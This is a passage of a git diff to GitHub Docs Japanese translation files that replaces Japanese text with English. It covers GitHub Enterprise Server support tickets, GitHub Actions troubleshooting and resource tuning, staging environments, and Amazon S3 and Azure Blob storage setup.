-**メモ:** トレーニングは {% data variables.product.premium_plus_support_plan %} に含まれています。 詳細は、「[{% data variables.product.prodname_ghe_server %}の{% data variables.contact.premium_support %}について](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)」を参照してください。 +**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." {% endnote %} {% endif %} -## 参考リンク +## Further reading -- [{% data variables.contact.enterprise_support %} について](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support) -- [{% data variables.product.prodname_ghe_server %}の{% data variables.contact.premium_support %}について](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server) +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)" +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." diff --git a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md index 3c081f8225..71e3b2a771 100644 --- a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md +++ b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md @@ -1,5 +1,5 @@ --- -title: チケットのサブミット +title: Submitting a ticket intro: 'You can submit a support ticket using {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the support portal{% elsif ghae %}{% data variables.contact.ae_azure_portal %}{% endif %}.' redirect_from: - /enterprise/admin/enterprise-support/submitting-a-ticket @@ -12,8 +12,7 @@ topics: - Enterprise - Support --- - -## チケットのサブミットについて +## About submitting a ticket {% ifversion ghae %} @@ -21,43 +20,45 @@ You can submit a ticket for support with {% data variables.product.prodname_ghe_ {% endif %} -チケットをサブミットする前に、{% data variables.contact.github_support %} のための情報を収集し、担当者を選択してください。 詳しい情報については[チケットのサブミットの準備](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)を参照してください。 +Before submitting a ticket, you should gather helpful information for {% data variables.contact.github_support %} and choose a contact person. For more information, see "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)." {% ifversion ghes %} -サポートリクエストと、場合によっては Diagnostic 情報をサブミットした後、{% data variables.contact.github_support %} は Support Bundle のダウンロードと共有をお願いすることがあります。 詳細は「[{% data variables.contact.github_support %} にデータを提供する](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support)」を参照してください。 +After submitting your support request and optional diagnostic information, {% data variables.contact.github_support %} may ask you to download and share a support bundle with us. For more information, see "[Providing data to {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support)." -## {% data variables.contact.enterprise_portal %} を使ってチケットをサブミットする +## Submitting a ticket using the {% data variables.contact.enterprise_portal %} {% data reusables.support.zendesk-old-tickets %} -To submit a ticket about {% data variables.product.product_location_enterprise %}, you must be an owner, billing manager, or member with support entitlement. 詳しい情報については「[Enterpriseのサポート資格の管理](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)」を参照してください。 +To submit a ticket about {% data variables.product.product_location_enterprise %}, you must be an owner, billing manager, or member with support entitlement. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." If you cannot sign in to your account on {% data variables.product.prodname_dotcom_the_website %} or do not have support entitlement, you can still submit a ticket by providing your license or a diagnostics file from your server. -1. {% data variables.contact.contact_support_portal %} に移動します。 +1. Navigate to the {% data variables.contact.contact_support_portal %}. {% data reusables.support.submit-a-ticket %} -## {% data variables.product.product_name %} {% data variables.enterprise.management_console %} を使ってチケットをサブミットする +## Submitting a ticket using the {% data variables.product.product_name %} {% data variables.enterprise.management_console %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. サポートチケットにDiagnosticを含めたい場合には、"Diagnostics"の下の**Download diagnostic info（Diagnostic情報のダウンロード）**をクリックし、ファイルをローカルに保存してください。 このファイルは、後でサポートチケットに添付します。 ![Diagnostics 情報をダウンロードするボタン](/assets/images/enterprise/support/download-diagnostics-info-button.png) -6. To complete your ticket and display the {% data variables.contact.enterprise_portal %}, under "Open Support Request", click **New support request**. ![サポートリクエストをオープンするボタン](/assets/images/enterprise/management-console/open-support-request.png) +5. If you'd like to include diagnostics with your support ticket, Under "Diagnostics", click **Download diagnostic info** and save the file locally. You'll attach this file to your support ticket later. + ![Button to download diagnostics info](/assets/images/enterprise/support/download-diagnostics-info-button.png) +6. To complete your ticket and display the {% data variables.contact.enterprise_portal %}, under "Open Support Request", click **New support request**. + ![Button to open a support request](/assets/images/enterprise/management-console/open-support-request.png) {% data reusables.support.submit-a-ticket %} {% endif %} {% ifversion ghae %} -## 必要な環境 +## Prerequisites To submit a ticket for {% data variables.product.prodname_ghe_managed %} in the {% data variables.contact.ae_azure_portal %}, you must provide the ID for your {% data variables.product.prodname_ghe_managed %} subscription in Azure to your Customer Success Account Manager (CSAM) at Microsoft. -## {% data variables.contact.ae_azure_portal %} を使ってチケットをサブミットする +## Submitting a ticket using the {% data variables.contact.ae_azure_portal %} -法人のお客様は、{% data variables.contact.contact_ae_portal %} でサポートリクエストをサブミットできます。 政府機関のお客様は、[政府機関のお客様向けの Azure ポータル](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade)をご利用ください。 For more information, see [Create an Azure support request](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request) in the Microsoft Docs. +Commercial customers can submit a support request in the {% data variables.contact.contact_ae_portal %}. Government customers should use the [Azure portal for government customers](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade). For more information, see [Create an Azure support request](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request) in the Microsoft Docs. ## Troubleshooting problems in the {% data variables.contact.ae_azure_portal %} @@ -69,7 +70,7 @@ To submit a ticket for {% data variables.product.prodname_ghe_managed %} in the {% endif %} -## 参考リンク +## Further reading -- 「[{% data variables.contact.enterprise_support %} について](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)」{% ifversion ghes %} -- 「[{% data variables.product.prodname_ghe_server %} の {% data variables.contact.premium_support %} について](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)」{% endif %} +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)"{% ifversion ghes %} +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."{% endif %} diff --git a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md index 0f3ecff186..41a97dbb65 100644 --- a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md +++ b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md @@ -1,6 +1,6 @@ --- -title: 高度な設定とトラブルシューティング -intro: '{% data variables.product.prodname_actions %} の高可用性を設定し、{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_actions %} のトラブルシューティングを行います。' +title: Advanced configuration and troubleshooting +intro: 'Configure high availability for {% data variables.product.prodname_actions %}, and troubleshoot {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' versions: ghes: '*' topics: diff --git a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md index e392719d1e..3e1182668d 100644 --- a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enterprise 向け GitHub Actions のトラブルシューティング -intro: '{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_actions %} を使用するときに発生する一般的な問題のトラブルシューティング。' +title: Troubleshooting GitHub Actions for your enterprise +intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.' versions: ghes: '*' @@ -13,67 +13,66 @@ redirect_from: - /admin/github-actions/troubleshooting-github-actions-for-your-enterprise shortTitle: Troubleshoot GitHub Actions --- +## Configuring self-hosted runners when using a self-signed certificate for {% data variables.product.prodname_ghe_server %} -## {% data variables.product.prodname_ghe_server %} に自己署名証明書を使用する場合のセルフホストランナーの設定 +{% data reusables.actions.enterprise-self-signed-cert %} For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)." -{% data reusables.actions.enterprise-self-signed-cert %} 詳しい情報については、「[TLS を設定する](/admin/configuration/configuring-tls)」を参照してください。 +### Installing the certificate on the runner machine -### ランナーマシンに証明書をインストールする +For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened. -セルフホストランナーが自己署名証明書を使用して {% data variables.product.prodname_ghe_server %} に接続するには、接続がセキュリティで強化されるように、証明書をランナーマシンにインストールする必要があります。 +For the steps required to install a certificate, refer to the documentation for your runner's operating system. -証明書をインストールするステップについては、ランナーのオペレーティングシステムのドキュメントを参照してください。 +### Configuring Node.JS to use the certificate -### 証明書を使用するように Node.JS を設定する +Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine. -ほとんどのアクションは JavaScript で記述されており、オペレーティングシステムの証明書ストアを使用しない Node.js を使用して実行されます。 セルフホストランナーアプリケーションで証明書を使用するには、ランナーマシンで `NODE_EXTRA_CA_CERTS` 環境変数を設定する必要があります。 +You can set the environment variable as a system environment variable, or declare it in a file named _.env_ in the self-hosted runner application directory. -環境変数をシステム環境変数として設定するか、セルフホストランナーアプリケーションディレクトリの _.env_ という名前のファイルで宣言することができます。 - -例: +For example: ```shell NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt ``` -環境変数は、セルフホストランナーアプリケーションの起動時に読み込まれるため、セルフホストランナーアプリケーションを設定または起動する前に、環境変数を設定する必要があります。 証明書の設定が変更された場合は、セルフホストランナーアプリケーションを再起動する必要があります。 +Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application. -### 証明書を使用するように Docker コンテナを設定する +### Configuring Docker containers to use the certificate -ワークフローで Docker コンテナアクションまたはサービスコンテナを使用する場合は、上記の環境変数の設定に加えて、Docker イメージに証明書をインストールする必要がある場合もあります。 +If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable. -## {% data variables.product.prodname_actions %} の HTTP プロキシ設定 +## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %} {% data reusables.actions.enterprise-http-proxy %} -これらの設定が正しく行われていない場合、{% data variables.product.prodname_actions %} 設定を設定または変更するときに、`Resource unexpectedly moved to https://` などのエラーが発生する可能性があります。 +If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://` when setting or changing your {% data variables.product.prodname_actions %} configuration. -## ホスト名を変更した後、ランナーは {% data variables.product.prodname_ghe_server %} に接続しません +## Runners not connecting to {% data variables.product.prodname_ghe_server %} after changing the hostname -{% data variables.product.product_location %} のホスト名を変更すると、セルフホストランナーは古いホスト名に接続できなくなり、ジョブを実行しなくなります。 +If you change the hostname of {% data variables.product.product_location %}, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs. -{% data variables.product.product_location %} に新しいホスト名を使用するには、セルフホストランナーの設定を更新する必要があります。 各セルフホストランナーには、次のいずれかの手順を行う必要があります。 +You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.product.product_location %}. Each self-hosted runner will require one of the following procedures: -* セルフホストランナーアプリケーションディレクトリで、`.runner` ファイルと `.credentials` ファイルを編集して、古いホスト名のすべての記述を新しいホスト名に置き換えてから、セルフホストランナーアプリケーションを再起動します。 -* UIを使用して {% data variables.product.prodname_ghe_server %} からランナーを削除し、再度追加します。 詳しい情報については「[セルフホストランナーの削除](/actions/hosting-your-own-runners/removing-self-hosted-runners)」及び「[セルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。 +* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application. +* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see "[Removing self-hosted runners](/actions/hosting-your-own-runners/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## スタックジョブと {% data variables.product.prodname_actions %} メモリと CPU の制限 +## Stuck jobs and {% data variables.product.prodname_actions %} memory and CPU limits -{% data variables.product.prodname_actions %} は、{% data variables.product.product_location %} で実行されている複数のサービスで構成されています。 デフォルトでは、これらのサービスは、ほとんどのインスタンスで機能するデフォルトの CPU およびメモリ制限で設定されています。 ただし、{% data variables.product.prodname_actions %} のヘビーユーザは、これらの設定を調整する必要がある場合があります。 +{% data variables.product.prodname_actions %} is composed of multiple services running on {% data variables.product.product_location %}. By default, these services are set up with default CPU and memory limits that should work for most instances. However, heavy users of {% data variables.product.prodname_actions %} might need to adjust these settings. -ジョブが開始されていないことに気付いた場合（アイドル状態のランナーが存在する場合でも）、または UI でジョブの進行状況が更新または変更されていない場合は、CPU またはメモリの上限に達している可能性があります。 +You may be hitting the CPU or memory limits if you notice that jobs are not starting (even though there are idle runners), or if the job's progress is not updating or changing in the UI. -### 1. Management Console で全体的な CPU とメモリの使用率を確認する +### 1. Check the overall CPU and memory usage in the management console -Management Console にアクセスし、モニターダッシュボードを使用して、[System Health] の下の全体的な CPU とメモリのグラフを調べます。 詳しい情報については、「[モニターダッシュボードへのアクセス](/admin/enterprise-management/accessing-the-monitor-dashboard)」を参照してください。 +Access the management console and use the monitor dashboard to inspect the overall CPU and memory graphs under "System Health". For more information, see "[Accessing the monitor dashboard](/admin/enterprise-management/accessing-the-monitor-dashboard)." -[System Health] 全体の CPU 使用率が 100％ に近い場合、または空きメモリが残っていない場合は、{% data variables.product.product_location %} が容量で実行されているため、スケールアップする必要があります。 詳しい情報については、「[CPU またはメモリリソースを増やす](/admin/enterprise-management/increasing-cpu-or-memory-resources)」を参照してください。 +If the overall "System Health" CPU usage is close to 100%, or there is no free memory left, then {% data variables.product.product_location %} is running at capacity and needs to be scaled up. For more information, see "[Increasing CPU or memory resources](/admin/enterprise-management/increasing-cpu-or-memory-resources)." -### 2. Management Console で Nomad Jobs の CPU とメモリの使用率を確認する +### 2. Check the Nomad Jobs CPU and memory usage in the management console -全体的な [System Health] の CPU とメモリの使用率に問題がない場合は、モニターダッシュボードページを下にスクロールして [Nomad Jobs] セクションに移動し、[CPU Percent Value] と [Memory Usage] のグラフを確認します。 +If the overall "System Health" CPU and memory usage is OK, scroll down the monitor dashboard page to the "Nomad Jobs" section, and look at the "CPU Percent Value" and "Memory Usage" graphs. -これらのグラフの各プロットは、1 つのサービスに対応しています。 {% data variables.product.prodname_actions %} サービスについては、以下を探してください。 +Each plot in these graphs corresponds to one service. For {% data variables.product.prodname_actions %} services, look for: * `mps_frontend` * `mps_backend` @@ -82,18 +81,18 @@ Management Console にアクセスし、モニターダッシュボードを使 * `actions_frontend` * `actions_backend` -これらのサービスのいずれかが 100％ またはそれに近い CPU 使用率であるか、メモリが上限（デフォルトでは 2 GB）に近い場合、これらのサービスのリソース割り当てを増やす必要がある場合があります。 上記のサービスのどれが上限に達しているか、上限に近いかを注視してください。 +If any of these services are at or near 100% CPU utilization, or the memory is near their limit (2 GB by default), then the resource allocation for these services might need increasing. Take note of which of the above services are at or near their limit. -### 3. 上限に達したサービスへのリソース割り当てを増やす +### 3. Increase the resource allocation for services at their limit -1. SSH を使用して管理シェルにログインします。 詳しい情報については「[管理シェル（SSH）にアクセスする](/admin/configuration/accessing-the-administrative-shell-ssh)」を参照してください。 -1. 次のコマンドを実行して、割り当てに利用可能なリソースを確認します。 +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +1. Run the following command to see what resources are available for allocation: ```shell nomad node status -self ``` - 出力で [Allocated Resources] セクションを見つけます。 次の例のようになります。 + In the output, find the "Allocated Resources" section. It looks similar to the following example: ``` Allocated Resources @@ -101,25 +100,25 @@ Management Console にアクセスし、モニターダッシュボードを使 7740/49600 MHZ 23 GiB/32 GiB 4.4 GiB/7.9 GiB ``` - CPU とメモリの場合、これは**すべて**のサービスの**合計**に割り当てられているｃ量（左の値）と利用可能な容量（右の値）を示しています。 上記の例では、合計 32GiB のうち 23GiB のメモリが割り当てられています。 これは、9GiB のメモリを割り当てることができるということを示しています。 + For CPU and memory, this shows how much is allocated to the **total** of **all** services (the left value) and how much is available (the right value). In the example above, there is 23 GiB of memory allocated out of 32 GiB total. This means there is 9 GiB of memory available for allocation. {% warning %} - **Warning:** 利用可能なリソースの合計を超える容量を割り当てると、サービスが開始されませんので注意してください。 + **Warning:** Be careful not to allocate more than the total available resources, or services will fail to start. {% endwarning %} -1. ディレクトリを `/etc/consul-templates/etc/nomad-jobs/actions` に変更します。 +1. Change directory to `/etc/consul-templates/etc/nomad-jobs/actions`: ```shell cd /etc/consul-templates/etc/nomad-jobs/actions ``` - このディレクトリには、上記の {% data variables.product.prodname_actions %} サービスに対応する 3 つのファイルがあります。 + In this directory there are three files that correspond to the {% data variables.product.prodname_actions %} services from above: * `mps.hcl.ctmpl` * `token.hcl.ctmpl` * `actions.hcl.ctmpl` -1. 調整が必要なサービスを特定した場合は、対応するファイルを開き、次のような `resources` グループを見つけます。 +1. For the services that you identified that need adjustment, open the corresponding file and locate the `resources` group that looks like the following: ``` resources { @@ -131,9 +130,9 @@ Management Console にアクセスし、モニターダッシュボードを使 } ``` - 値は、CPU リソースの場合は MHz、メモリリソースの場合は MB です。 + The values are in MHz for CPU resources, and MB for memory resources. - たとえば、上記の例のリソース制限を CPU と 4 GBのメモリの 1GHz に増やすには、次のように変更します。 + For example, to increase the resource limits in the above example to 1 GHz for the CPU and 4 GB of memory, change it to: ``` resources { @@ -144,11 +143,11 @@ Management Console にアクセスし、モニターダッシュボードを使 } } ``` -1. ファイルを保存して終了します。 -1. `ghe-config-apply` を実行して、変更を適用します。 +1. Save and exit the file. +1. Run `ghe-config-apply` to apply the changes. - `ghe-config-apply` の実行中に、`Failed to run nomad job '/etc/nomad-jobs/.hcl'` のような出力が表示される場合は、変更によって CPU またはメモリリソースが過剰に割り当てられている可能性があります。 これが発生した場合は、設定ファイルを再度編集し、割り当てられた CPU またはメモリを減らしてから、`ghe-config-apply` を再実行してください。 -1. 設定が適用されたら、`ghe-actions-check` を実行して、{% data variables.product.prodname_actions %} サービスが機能していることを確認します。 + When running `ghe-config-apply`, if you see output like `Failed to run nomad job '/etc/nomad-jobs/.hcl'`, then the change has likely over-allocated CPU or memory resources. If this happens, edit the configuration files again and lower the allocated CPU or memory, then re-run `ghe-config-apply`. +1. After the configuration is applied, run `ghe-actions-check` to verify that the {% data variables.product.prodname_actions %} services are operational. {% ifversion fpt or ghec or ghes > 3.2 %} ## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows @@ -167,15 +166,15 @@ There are three ways to resolve this problem: ### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions -1. SSH を使用して管理シェルにログインします。 詳しい情報については「[管理シェル（SSH）にアクセスする](/admin/configuration/accessing-the-administrative-shell-ssh)」を参照してください。 +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." 1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, use the following command. ``` shell $ ghe-config app.actions.disable-dependabot-enforcement true ``` -1. 設定を適用します。 +1. Apply the configuration. ```shell $ ghe-config-apply ``` -1. {% data variables.product.prodname_ghe_server %}に戻ります。 +1. Return to {% data variables.product.prodname_ghe_server %}. -{% endif %} +{% endif %} \ No newline at end of file diff --git a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md index 756d85fad7..56164309ab 100644 --- a/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md +++ b/translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md @@ -1,6 +1,6 @@ --- -title: ステージング環境を使用する -intro: '{% data variables.product.prodname_actions %} を {% data variables.product.prodname_ghe_server %} ステージング環境で使用する方法について説明します。' +title: Using a staging environment +intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging environments.' versions: ghes: '*' type: how_to @@ -13,23 +13,22 @@ redirect_from: - /admin/github-actions/using-a-staging-environment shortTitle: Use a staging area --- +It can be useful to have a staging or testing environment for {% data variables.product.product_location %}, so that you can test updates or new features before implementing them in your production environment. -{% data variables.product.product_location %} のステージング環境またはテスト環境があると便利な場合があります。これにより、更新または新機能を本番環境に実装する前にテストできます。 +A common way to create the staging environment is to use a backup of your production instance and restore it to the staging environment. -ステージング環境を作成する一般的な方法は、本番インスタンスのバックアップを使用して、それをステージング環境に復元することです。 +When setting up a {% data variables.product.prodname_ghe_server %} staging environment that has {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment uses. Otherwise, your staging environment will write to the same external storage as production. -{% data variables.product.prodname_actions %} が有効になっている {% data variables.product.prodname_ghe_server %} ステージング環境をセットアップする場合、{% data variables.product.prodname_actions %} ストレージには本番環境が使用するものとは異なる外部ストレージ設定を使用する必要があります。 それ以外の場合、ステージング環境は本番環境と同じ外部ストレージに書き込まれます。 +Expect to see `404` errors in your staging environment when trying to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs, because that data will be missing from your staging storage location. -既存の {% data variables.product.prodname_actions %} ワークフロー実行からログまたはアーティファクトを表示しようとすると、ステージング環境で `404` エラーが発生することが予想されます。これは、そのデータがステージングストレージの場所から消失するためです。 +Although it is not required for {% data variables.product.prodname_actions %} to be functional in your staging environment, you can optionally copy the files from the production storage location to the staging storage location. -{% data variables.product.prodname_actions %} がステージング環境で機能する必要はありませんが、必要に応じて、ファイルを本番ストレージの場所からステージングストレージの場所にコピーできます。 - -* Azure ストレージアカウントの場合、[`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account) を使用できます。 例: +* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example: ```shell azcopy copy 'https://SOURCE-STORAGE-ACCOUNT-NAME.blob.core.windows.net/SAS-TOKEN' 'https://DESTINATION-STORAGE-ACCOUNT-NAME.blob.core.windows.net/' --recursive ``` -* Amazon S3 バケットの場合、[`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html) を使用できます。 例: +* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example: ```shell aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET diff --git a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md index d05adfbaf2..d807e0ad35 100644 --- a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md +++ b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md @@ -1,6 +1,6 @@ --- -title: Amazon S3 ストレージで GitHub Actions を有効化する -intro: '{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_actions %} を有効化し、Amazon S3 ストレージを使用してワークフローの実行によって生成されたアーティファクトを保存できます。' +title: Enabling GitHub Actions with Amazon S3 storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -14,32 +14,31 @@ redirect_from: - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage shortTitle: Amazon S3 storage --- - -## 必要な環境 +## Prerequisites {% data reusables.actions.enterprise-s3-support-warning %} -{% data variables.product.prodname_actions %} を有効化する前に、次のステップを完了していることを確認してください。 - -* ワークフローの実行によって生成されたアーティファクトを保存するための Amazon S3 バケットを作成します。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +* Create your Amazon S3 bucket for storing artifacts generated by workflow runs. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + {% data reusables.actions.enterprise-common-prereqs %} -## Amazon S3 ストレージで {% data variables.product.prodname_actions %} を有効化する +## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. [Artifact & Log Storage] で、[**Amazon S3**] を選択し、ストレージバケットの詳細を入力します。 +1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: - * **AWS Service URL**: バケットのサービス URL。 たとえば、S3 バケットが `us-west-2` リージョンで作成された場合、この値は `https://s3.us-west-2.amazonaws.com` である必要があります。 + * **AWS Service URL**: The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2` region, this value should be `https://s3.us-west-2.amazonaws.com`. - 詳しい情報については、AWS ドキュメントの「[AWS サービスエンドポイント](https://docs.aws.amazon.com/general/latest/gr/rande.html)」を参照してください。 - * **AWS S3 Bucket**: S3 バケットの名前。 - * **AWS S3 Access Key** および **AWS S3 Secret Key**: バケットの AWS アクセスキー IDと シークレットキー。 AWS アクセスキーの管理の詳細については、「[AWS ID およびアクセス管理のドキュメント](https://docs.aws.amazon.com/iam/index.html)」を参照してください。 + For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. + * **AWS S3 Bucket**: The name of your S3 bucket. + * **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key for your bucket. For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." - ![Amazon S3 ストレージを選択するためのラジオボタンと S3 設定のフィールド](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) + ![Radio button for selecting Amazon S3 Storage and fields for S3 configuration](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md index 5988def95e..038358298f 100644 --- a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md +++ b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md @@ -1,6 +1,6 @@ --- -title: Azure Blob ストレージで GitHub Actions を有効化する -intro: '{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_actions %} を有効化し、Azure Blob ストレージを使用して、ワークフローの実行によって生成されたアーティファクトを格納できます。' +title: Enabling GitHub Actions with Azure Blob storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Azure Blob storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -12,33 +12,33 @@ topics: - Storage redirect_from: - /admin/github-actions/enabling-github-actions-with-azure-blob-storage -shortTitle: Azure Blob ストレージ +shortTitle: Azure Blob storage --- +## Prerequisites -## 必要な環境 +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: -{% data variables.product.prodname_actions %} を有効化する前に、次のステップを完了していることを確認してください。 - -* ワークフローアーティファクトを保存するための Azure ストレージアカウントを作成します。 {% data variables.product.prodname_actions %} はデータをブロック Blob として保存し、次の 2 つのストレージアカウントタイプがサポートされています。 - 